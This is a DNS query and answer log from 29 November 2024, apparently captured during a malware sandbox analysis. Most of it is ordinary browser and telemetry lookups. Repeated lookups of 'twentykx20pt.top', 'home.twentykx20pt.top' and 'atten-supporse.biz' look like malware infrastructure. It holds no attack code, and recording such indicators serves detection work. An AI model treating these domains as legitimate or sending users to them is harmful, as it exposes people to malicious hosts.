Nov 29, 2024 19:51:24.420798063 CET	192.168.2.5	1.1.1.1	0x3099	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.431631088 CET	192.168.2.5	1.1.1.1	0x53b6	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.432513952 CET	192.168.2.5	1.1.1.1	0x4d0f	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.562432051 CET	192.168.2.5	1.1.1.1	0x2012	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.577739954 CET	192.168.2.5	1.1.1.1	0xbfad	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 29, 2024 19:51:24.664150000 CET	192.168.2.5	1.1.1.1	0x956b	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 29, 2024 19:51:24.703346014 CET	192.168.2.5	1.1.1.1	0xaa80	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:26.644342899 CET	192.168.2.5	1.1.1.1	0x7f4f	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:38.235192060 CET	192.168.2.5	1.1.1.1	0xac6c	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:39.804683924 CET	192.168.2.5	1.1.1.1	0x675a	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:39.813528061 CET	192.168.2.5	1.1.1.1	0x1644	Standard query (0)	normandy.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:39.958910942 CET	192.168.2.5	1.1.1.1	0x246b	Standard query (0)	normandy-cdn.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.046372890 CET	192.168.2.5	1.1.1.1	0x998b	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.098876953 CET	192.168.2.5	1.1.1.1	0x7dde	Standard query (0)	normandy-cdn.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:51:40.191911936 CET	192.168.2.5	1.1.1.1	0x263b	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 29, 2024 19:51:40.434926033 CET	192.168.2.5	1.1.1.1	0x53a6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:40.681947947 CET	192.168.2.5	1.1.1.1	0xaa65	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:51:43.442815065 CET	192.168.2.5	1.1.1.1	0x1d99	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:43.442857981 CET	192.168.2.5	1.1.1.1	0xa90	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:51:46.441391945 CET	192.168.2.5	1.1.1.1	0x516c	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:46.441720963 CET	192.168.2.5	1.1.1.1	0x9d93	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:51:59.464770079 CET	192.168.2.5	1.1.1.1	0x7c9c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:59.618844986 CET	192.168.2.5	1.1.1.1	0x2f5a	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:52:00.841470957 CET	192.168.2.5	1.1.1.1	0x78e1	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:09.727225065 CET	192.168.2.5	1.1.1.1	0x2479	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:52:23.422147036 CET	192.168.2.5	1.1.1.1	0x80dc	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.422207117 CET	192.168.2.5	1.1.1.1	0x5c35	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:23.578844070 CET	192.168.2.5	1.1.1.1	0x7da0	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.578927040 CET	192.168.2.5	1.1.1.1	0x7da0	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.593466997 CET	192.168.2.5	1.1.1.1	0x7da0	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.736437082 CET	192.168.2.5	1.1.1.1	0x7835	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.736484051 CET	192.168.2.5	1.1.1.1	0xe679	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:23.736567020 CET	192.168.2.5	1.1.1.1	0x7835	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.751467943 CET	192.168.2.5	1.1.1.1	0xe679	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:23.751532078 CET	192.168.2.5	1.1.1.1	0x7835	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.751770020 CET	192.168.2.5	1.1.1.1	0xe679	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:23.896960974 CET	192.168.2.5	1.1.1.1	0xd164	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:23.897331953 CET	192.168.2.5	1.1.1.1	0xd164	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.056608915 CET	192.168.2.5	1.1.1.1	0x769d	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.056682110 CET	192.168.2.5	1.1.1.1	0x2701	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:24.056766033 CET	192.168.2.5	1.1.1.1	0x769d	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.070395947 CET	192.168.2.5	1.1.1.1	0x2701	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:24.070429087 CET	192.168.2.5	1.1.1.1	0x769d	Standard query (0)	twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:24.070602894 CET	192.168.2.5	1.1.1.1	0x2701	Standard query (0)	twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:25.239820004 CET	192.168.2.5	1.1.1.1	0xbc97	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.239901066 CET	192.168.2.5	1.1.1.1	0x2f01	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:25.239993095 CET	192.168.2.5	1.1.1.1	0xbc97	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.491894960 CET	192.168.2.5	1.1.1.1	0xc1	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.491935015 CET	192.168.2.5	1.1.1.1	0x7c53	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:25.492001057 CET	192.168.2.5	1.1.1.1	0xc1	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.492033005 CET	192.168.2.5	1.1.1.1	0x7c53	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:25.750443935 CET	192.168.2.5	1.1.1.1	0x7f1e	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.750495911 CET	192.168.2.5	1.1.1.1	0x7e39	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:25.750550985 CET	192.168.2.5	1.1.1.1	0x7f1e	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:25.750595093 CET	192.168.2.5	1.1.1.1	0x7e39	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:25.771419048 CET	192.168.2.5	1.1.1.1	0x7e39	Standard query (0)	home.twentykx20pt.top	28	IN (0x0001)	false
Nov 29, 2024 19:52:25.774950027 CET	192.168.2.5	1.1.1.1	0x7f1e	Standard query (0)	home.twentykx20pt.top	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:52:40.934793949 CET	192.168.2.5	1.1.1.1	0x12aa	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:54:02.223685980 CET	192.168.2.5	1.1.1.1	0xb306	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:02.370956898 CET	192.168.2.5	1.1.1.1	0xa4bb	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:02.521706104 CET	192.168.2.5	1.1.1.1	0x9ccd	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:54:03.746766090 CET	192.168.2.5	1.1.1.1	0xf603	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:04.010962009 CET	192.168.2.5	1.1.1.1	0xf603	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:11.246644020 CET	192.168.2.5	1.1.1.1	0xce65	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:54:11.386290073 CET	192.168.2.5	1.1.1.1	0x6992	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:56:19.601253986 CET	192.168.2.5	1.1.1.1	0x92ae	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:19.604352951 CET	192.168.2.5	1.1.1.1	0x43e8	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:19.741935968 CET	192.168.2.5	1.1.1.1	0x64d5	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:56:19.743527889 CET	192.168.2.5	1.1.1.1	0x9cda	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:19.881884098 CET	192.168.2.5	1.1.1.1	0x99e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 29, 2024 19:56:20.987930059 CET	192.168.2.5	1.1.1.1	0x77c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:44.180696011 CET	192.168.2.5	1.1.1.1	0x93bb	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:44.319277048 CET	192.168.2.5	1.1.1.1	0x7a89	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:56:44.464740992 CET	192.168.2.5	1.1.1.1	0x36c5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:56:45.737605095 CET	192.168.2.5	1.1.1.1	0xbe94	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:58:12.696543932 CET	192.168.2.5	1.1.1.1	0x5db2	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 29, 2024 19:58:13.966434956 CET	192.168.2.5	1.1.1.1	0x56ef	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:58:14.235975981 CET	192.168.2.5	1.1.1.1	0x56ef	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 19:49:17.286194086 CET	1.1.1.1	192.168.2.5	0x2f97	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:49:17.293945074 CET	1.1.1.1	192.168.2.5	0xd724	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 29, 2024 19:50:18.989650011 CET	1.1.1.1	192.168.2.5	0x955	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:18.989650011 CET	1.1.1.1	192.168.2.5	0x955	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:39.749289036 CET	1.1.1.1	192.168.2.5	0xe13c	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:39.891344070 CET	1.1.1.1	192.168.2.5	0x8dfc	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.734416008 CET	1.1.1.1	192.168.2.5	0xafe6	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.734611034 CET	1.1.1.1	192.168.2.5	0xd4e3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:50:40.734611034 CET	1.1.1.1	192.168.2.5	0xd4e3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.879635096 CET	1.1.1.1	192.168.2.5	0x279c	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:40.880503893 CET	1.1.1.1	192.168.2.5	0x886b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:41.095683098 CET	1.1.1.1	192.168.2.5	0xb4c6	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:41.096590042 CET	1.1.1.1	192.168.2.5	0x7362	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 29, 2024 19:50:42.506364107 CET	1.1.1.1	192.168.2.5	0x9023	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:42.507260084 CET	1.1.1.1	192.168.2.5	0xd2d4	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:42.649817944 CET	1.1.1.1	192.168.2.5	0x6a4d	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:42.649817944 CET	1.1.1.1	192.168.2.5	0x6a4d	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:44.767755032 CET	1.1.1.1	192.168.2.5	0x1c08	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:50:44.767755032 CET	1.1.1.1	192.168.2.5	0x1c08	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:44.769812107 CET	1.1.1.1	192.168.2.5	0x2857	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:46.765980959 CET	1.1.1.1	192.168.2.5	0x8a8b	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:46.805376053 CET	1.1.1.1	192.168.2.5	0x6f3d	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:50:46.805376053 CET	1.1.1.1	192.168.2.5	0x6f3d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.305367947 CET	1.1.1.1	192.168.2.5	0x4773	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:50:47.305367947 CET	1.1.1.1	192.168.2.5	0x4773	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.305530071 CET	1.1.1.1	192.168.2.5	0xe5df	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:50:47.305530071 CET	1.1.1.1	192.168.2.5	0xe5df	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:50:47.305530071 CET	1.1.1.1	192.168.2.5	0xe5df	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.383277893 CET	1.1.1.1	192.168.2.5	0x50c7	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:50:47.473608017 CET	1.1.1.1	192.168.2.5	0xd7bf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.474276066 CET	1.1.1.1	192.168.2.5	0x773f	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:47.613353014 CET	1.1.1.1	192.168.2.5	0xe12a	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 29, 2024 19:50:48.635178089 CET	1.1.1.1	192.168.2.5	0x2e27	No error (0)	mitmdetection.services.mozilla.com		18.66.161.4	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.635178089 CET	1.1.1.1	192.168.2.5	0x2e27	No error (0)	mitmdetection.services.mozilla.com		18.66.161.98	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.635178089 CET	1.1.1.1	192.168.2.5	0x2e27	No error (0)	mitmdetection.services.mozilla.com		18.66.161.92	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.635178089 CET	1.1.1.1	192.168.2.5	0x2e27	No error (0)	mitmdetection.services.mozilla.com		18.66.161.67	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.775660038 CET	1.1.1.1	192.168.2.5	0x719f	No error (0)	mitmdetection.services.mozilla.com		18.66.161.92	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.775660038 CET	1.1.1.1	192.168.2.5	0x719f	No error (0)	mitmdetection.services.mozilla.com		18.66.161.98	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.775660038 CET	1.1.1.1	192.168.2.5	0x719f	No error (0)	mitmdetection.services.mozilla.com		18.66.161.67	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:48.775660038 CET	1.1.1.1	192.168.2.5	0x719f	No error (0)	mitmdetection.services.mozilla.com		18.66.161.4	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:50:49.074368000 CET	1.1.1.1	192.168.2.5	0x6e8e	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Nov 29, 2024 19:51:03.218985081 CET	1.1.1.1	192.168.2.5	0xd005	No error (0)	httpbin.org		18.208.8.205	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:03.218985081 CET	1.1.1.1	192.168.2.5	0xd005	No error (0)	httpbin.org		18.213.123.165	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:06.260257959 CET	1.1.1.1	192.168.2.5	0x4af4	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:06.260768890 CET	1.1.1.1	192.168.2.5	0x8cdd	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 29, 2024 19:51:09.367650986 CET	1.1.1.1	192.168.2.5	0x887c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.367650986 CET	1.1.1.1	192.168.2.5	0x887c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.367650986 CET	1.1.1.1	192.168.2.5	0x887c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.367650986 CET	1.1.1.1	192.168.2.5	0x887c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:09.562448978 CET	1.1.1.1	192.168.2.5	0x920b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.640482903 CET	1.1.1.1	192.168.2.5	0x28ce	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.640482903 CET	1.1.1.1	192.168.2.5	0x28ce	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.659297943 CET	1.1.1.1	192.168.2.5	0x201c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.659297943 CET	1.1.1.1	192.168.2.5	0x201c	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:09.659297943 CET	1.1.1.1	192.168.2.5	0x201c	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:14.489865065 CET	1.1.1.1	192.168.2.5	0xbde7	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:18.504858017 CET	1.1.1.1	192.168.2.5	0xbe19	No error (0)	home.twentykx20pt.top		34.118.84.150	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:19.413510084 CET	1.1.1.1	192.168.2.5	0x1ffb	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:19.482641935 CET	1.1.1.1	192.168.2.5	0x9b59	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:19.482641935 CET	1.1.1.1	192.168.2.5	0x9b59	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:19.745894909 CET	1.1.1.1	192.168.2.5	0x39e2	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 29, 2024 19:51:19.972460032 CET	1.1.1.1	192.168.2.5	0xc65d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.009201050 CET	1.1.1.1	192.168.2.5	0x3efc	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.076260090 CET	1.1.1.1	192.168.2.5	0x549d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:20.076260090 CET	1.1.1.1	192.168.2.5	0x549d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.144803047 CET	1.1.1.1	192.168.2.5	0xf0ec	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:20.144803047 CET	1.1.1.1	192.168.2.5	0xf0ec	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.147181988 CET	1.1.1.1	192.168.2.5	0x3110	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.167072058 CET	1.1.1.1	192.168.2.5	0xb675	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.321217060 CET	1.1.1.1	192.168.2.5	0x2002	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:20.886048079 CET	1.1.1.1	192.168.2.5	0x1c3e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:20.886048079 CET	1.1.1.1	192.168.2.5	0x1c3e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:21.474399090 CET	1.1.1.1	192.168.2.5	0x1499	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:23.939230919 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:23.939230919 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:23.939230919 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:23.939249039 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:23.939249039 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:23.939249039 CET	1.1.1.1	192.168.2.5	0xa8da	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.006989956 CET	1.1.1.1	192.168.2.5	0xa6e3	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 29, 2024 19:51:24.006989956 CET	1.1.1.1	192.168.2.5	0xa6e3	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Nov 29, 2024 19:51:24.007214069 CET	1.1.1.1	192.168.2.5	0xc635	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
